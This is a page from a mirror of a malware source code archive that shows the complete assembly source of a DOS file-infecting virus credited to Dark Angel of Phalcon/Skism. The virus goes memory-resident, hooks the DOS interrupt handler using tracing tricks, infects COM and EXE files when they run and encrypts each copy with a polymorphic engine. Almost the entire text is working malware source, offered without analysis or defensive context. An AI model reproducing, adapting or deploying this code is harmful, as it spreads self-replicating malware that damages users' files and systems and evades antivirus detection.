mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
501 lines
10 KiB
NASM
501 lines
10 KiB
NASM
.model tiny
|
|
.code
|
|
.radix 16
|
|
org 0
|
|
|
|
viruslength = (heap - entry)
|
|
virussizeK = (endvirus - entry + 3ff) / 400
|
|
virussizepara = (virussizeK)*40
|
|
|
|
EXE_ID = 'PS'
|
|
|
|
entry:
|
|
call past
|
|
next:
|
|
db 0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A
|
|
db "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A
|
|
db 0Dh,0A,0
|
|
|
|
checkstub db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63
|
|
|
|
past: cld
|
|
pop bp
|
|
|
|
mov ax,0cf0
|
|
mov bx,'DA'
|
|
int 21
|
|
cmp bx,'GH'
|
|
jnz no_trigger
|
|
trigger:
|
|
push ds
|
|
push es
|
|
|
|
push cs
|
|
pop ds
|
|
xor ax,ax
|
|
checkagain:
|
|
lea si,[bp+checkstub-next]
|
|
mov es,ax
|
|
xor di,di
|
|
mov cx,8
|
|
rep cmpsw
|
|
jz trigger_it
|
|
inc ax
|
|
cmp ax,0a000
|
|
jb checkagain
|
|
jmp exit_trigger
|
|
trigger_it:
|
|
mov [bp+patch-next],ax
|
|
mov ds,ax
|
|
mov byte ptr ds:73,0cbh
|
|
push bp
|
|
mov bp,-80
|
|
jmp short $+2
|
|
db 09a ; call far ptr
|
|
dw 1
|
|
patch dw ?
|
|
pop bp
|
|
mov byte ptr ds:73,1f
|
|
exit_trigger:
|
|
pop es
|
|
pop ds
|
|
jmp short restore
|
|
|
|
no_trigger:
|
|
mov ax,4b90
|
|
int 21
|
|
cmp ax,bx
|
|
jz restore
|
|
|
|
push ds
|
|
push es
|
|
|
|
mov ax,ds
|
|
dec ax
|
|
mov ds,ax
|
|
sub word ptr ds:3,virussizepara
|
|
sub word ptr ds:12,virussizepara
|
|
mov es,ds:12
|
|
|
|
push cs
|
|
pop ds
|
|
|
|
xor di,di
|
|
lea si,[bp+offset entry-offset next]
|
|
mov cx,(viruslength + 1)/2
|
|
rep movsw
|
|
|
|
xor ax,ax
|
|
mov ds,ax
|
|
sub word ptr ds:413,virussizeK
|
|
|
|
mov di,offset oldint21
|
|
mov si,21*4
|
|
movsw
|
|
movsw
|
|
|
|
cli
|
|
|
|
pushf
|
|
pushf
|
|
pop ax
|
|
or ah,1
|
|
push ax
|
|
|
|
mov ds:1*4+2,es
|
|
mov word ptr ds:1*4,offset int1_1
|
|
|
|
popf
|
|
|
|
mov ah,30
|
|
pushf
|
|
call dword ptr ds:21*4
|
|
|
|
popf
|
|
|
|
lds si,dword ptr es:oldint21
|
|
mov di,si
|
|
lodsw
|
|
mov word ptr es:int21patch1,ax
|
|
lodsw
|
|
mov word ptr es:int21patch2,ax
|
|
lodsb
|
|
mov byte ptr es:int21patch3,al
|
|
|
|
push ds ; es:di->int 21 handler
|
|
push es
|
|
pop ds ; ds->high segment
|
|
pop es
|
|
|
|
mov al,0ea
|
|
stosb
|
|
mov ax,offset int21
|
|
stosw
|
|
mov ax,ds
|
|
stosw
|
|
sti
|
|
|
|
pop es
|
|
pop ds
|
|
|
|
restore:
|
|
cmp sp,-2
|
|
jnz restoreEXE
|
|
restoreCOM:
|
|
lea si,[bp+readbuffer-next]
|
|
mov di,100
|
|
push di
|
|
movsw
|
|
movsw
|
|
ret
|
|
restoreEXE:
|
|
mov ax,ds
|
|
add ax,10
|
|
add cs:[bp+readbuffer+16-next], ax
|
|
add ax,cs:[bp+readbuffer+0e-next]
|
|
mov ss,ax
|
|
mov sp,cs:[bp+readbuffer+10-next]
|
|
jmp dword ptr cs:[bp+readbuffer+14-next]
|
|
|
|
readbuffer dw 20cdh
|
|
dw 0bh dup (?)
|
|
|
|
int1_1:
|
|
push bp
|
|
mov bp,sp
|
|
push ax
|
|
|
|
mov ax, [bp+4] ; get segment
|
|
cmp ax, cs:oldint21+2
|
|
jae exitint1
|
|
mov cs:oldint21+2,ax
|
|
mov ax, [bp+2]
|
|
mov cs:oldint21,ax
|
|
exitint1:
|
|
pop ax
|
|
pop bp
|
|
iret
|
|
|
|
int1_2:
|
|
push bp
|
|
mov bp,sp
|
|
push ax
|
|
|
|
mov ax,cs
|
|
cmp ax,[bp+4]
|
|
jz exitint1
|
|
|
|
mov ax,[bp+4]
|
|
cmp ax,cs:oldint21+2
|
|
jnz int1_2_restore
|
|
|
|
mov ax,[bp+2]
|
|
cmp ax,cs:oldint21
|
|
jb int1_2_restore
|
|
sub ax,5
|
|
cmp ax,cs:oldint21
|
|
jbe exitint1
|
|
int1_2_restore:
|
|
push es
|
|
push di
|
|
cld
|
|
les di,dword ptr cs:oldint21
|
|
mov al,0ea
|
|
stosb
|
|
mov ax,offset int21
|
|
stosw
|
|
mov ax,cs
|
|
stosw
|
|
pop di
|
|
pop es
|
|
|
|
and [bp+6],0feff
|
|
jmp exitint1
|
|
|
|
install:
|
|
mov bx,ax
|
|
iret
|
|
int21:
|
|
cmp ax,4b90
|
|
jz install
|
|
|
|
push ds
|
|
push di
|
|
lds di,dword ptr cs:oldint21
|
|
mov word ptr ds:[di],1234
|
|
int21patch1 = $ - 2
|
|
mov word ptr ds:[di+2],1234
|
|
int21patch2 = $ - 2
|
|
mov byte ptr ds:[di+4],12
|
|
int21patch3 = $ - 1
|
|
pop di
|
|
pop ds
|
|
|
|
cld
|
|
|
|
cmp ax,4b00
|
|
jz infect
|
|
|
|
exitint21:
|
|
push ds
|
|
push ax
|
|
|
|
xor ax,ax
|
|
mov ds,ax
|
|
cli
|
|
mov word ptr ds:1*4,offset int1_2
|
|
mov ds:1*4+2,cs
|
|
sti
|
|
|
|
pushf
|
|
pop ax
|
|
or ah,1
|
|
push ax
|
|
popf
|
|
pop ax
|
|
pop ds
|
|
db 0ea
|
|
oldint21 dw 0, 0
|
|
|
|
callint21:
|
|
pushf
|
|
call dword ptr cs:oldint21
|
|
ret
|
|
|
|
already_infected:
|
|
pop dx
|
|
pop cx
|
|
mov ax,5701
|
|
call callint21
|
|
|
|
mov ah,3e
|
|
call callint21
|
|
exitnoclose:
|
|
mov ax,4301
|
|
pop dx
|
|
pop ds
|
|
pop cx
|
|
call callint21
|
|
|
|
exitinfect:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop bp
|
|
pop bx
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
jmp exitint21
|
|
|
|
infect:
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push bx
|
|
push bp
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
|
|
mov ax,4300
|
|
call callint21
|
|
push cx
|
|
push ds
|
|
push dx
|
|
|
|
mov ax,4301
|
|
xor cx,cx
|
|
call callint21
|
|
|
|
mov ax,3d02
|
|
call callint21
|
|
jc exitnoclose
|
|
xchg ax,bx
|
|
|
|
mov ax,5700
|
|
int 21
|
|
push cx
|
|
push dx
|
|
|
|
mov ah,3f
|
|
mov cx,18
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov dx,offset readbuffer
|
|
mov si,dx
|
|
call callint21
|
|
jc already_infected
|
|
|
|
mov di,offset writebuffer
|
|
mov cx,18/2
|
|
|
|
push si
|
|
push di
|
|
|
|
rep movsw
|
|
|
|
pop di
|
|
pop si
|
|
|
|
mov ax,4202
|
|
xor cx,cx
|
|
cwd
|
|
int 21
|
|
|
|
cmp word ptr [di],'ZM'
|
|
jnz infectCOM
|
|
|
|
infectEXE:
|
|
cmp readbuffer+10,EXE_ID
|
|
go_already_infected:
|
|
jz already_infected
|
|
|
|
mov ds:writebuffer+4,ax
|
|
mov ds:writebuffer+2,dx
|
|
|
|
mov cx,10
|
|
div cx
|
|
|
|
sub ax,ds:writebuffer+8
|
|
|
|
mov ds:writebuffer+14,dx
|
|
mov ds:writebuffer+16,ax
|
|
|
|
xchg cx,dx
|
|
|
|
mov ds:writebuffer+0e,ax
|
|
mov ds:writebuffer+10,EXE_ID
|
|
|
|
mov al,10b
|
|
jmp finishinfect
|
|
|
|
infectCOM: ; si = readbuffer, di = writebuffer
|
|
push ax
|
|
|
|
mov cx,4
|
|
xor dx,dx
|
|
check_infection_loop:
|
|
lodsb
|
|
add dl,al
|
|
loop check_infection_loop
|
|
|
|
pop ax
|
|
|
|
or dl,dl
|
|
jz go_already_infected
|
|
|
|
mov dx,18
|
|
cmp ax,dx
|
|
jnb no_fixup_com
|
|
|
|
mov ax,4200
|
|
xor cx,cx
|
|
int 21
|
|
no_fixup_com:
|
|
mov cx,ax
|
|
inc ch ; add cx,100
|
|
sub ax,3
|
|
push ax
|
|
mov al,0e9
|
|
stosb
|
|
pop ax
|
|
stosw
|
|
add al,ah
|
|
add al,0e9
|
|
neg al
|
|
stosb
|
|
|
|
mov al,11b
|
|
finishinfect:
|
|
cbw
|
|
; ax = bitmask
|
|
; bx = start decrypt in carrier file
|
|
; cx = encrypt length
|
|
; dx = start encrypt in virus
|
|
; si = buffer to put decryption routine
|
|
; di = buffer to put encryption routine
|
|
push bx
|
|
|
|
xchg cx,bx
|
|
|
|
xor si,si
|
|
mov di,offset copyvirus
|
|
mov cx,(heap-entry+1)/2
|
|
rep movsw
|
|
|
|
push ax
|
|
call rnd_init_seed
|
|
pop ax
|
|
|
|
mov dx,offset copyvirus
|
|
mov cx,viruslength
|
|
mov si,offset _decryptbuffer
|
|
mov di,offset _encryptbuffer
|
|
call dame
|
|
|
|
push cx
|
|
|
|
cmp ds:writebuffer,'ZM'
|
|
jnz no_fix_header
|
|
|
|
mov dx,ds:writebuffer+2
|
|
mov ax,ds:writebuffer+4
|
|
add cx,viruslength
|
|
add ax,cx
|
|
adc dx,0
|
|
mov cx,200
|
|
div cx
|
|
or dx,dx
|
|
jz nohiccup
|
|
inc ax
|
|
nohiccup:
|
|
mov ds:writebuffer+4,ax
|
|
mov ds:writebuffer+2,dx
|
|
no_fix_header:
|
|
call di
|
|
pop cx
|
|
|
|
pop bx
|
|
|
|
mov ah,40
|
|
mov dx,offset _decryptbuffer
|
|
call callint21
|
|
|
|
mov ah,40
|
|
mov cx,viruslength
|
|
mov dx,offset copyvirus
|
|
call callint21
|
|
|
|
mov ax,4200
|
|
xor cx,cx
|
|
cwd
|
|
int 21
|
|
|
|
mov ah,40
|
|
mov cx,18
|
|
mov dx,offset writebuffer
|
|
call callint21
|
|
jmp already_infected
|
|
|
|
vars = 0
|
|
include dame.asm
|
|
|
|
heap:
|
|
vars = 1
|
|
include dame.asm
|
|
|
|
writebuffer dw 0c dup (?)
|
|
_encryptbuffer: db 80 dup (?)
|
|
_decryptbuffer: db 180 dup (?)
|
|
copyvirus db viruslength dup (?)
|
|
db 20 dup (?)
|
|
endvirus:
|
|
|
|
end entry
|
|
|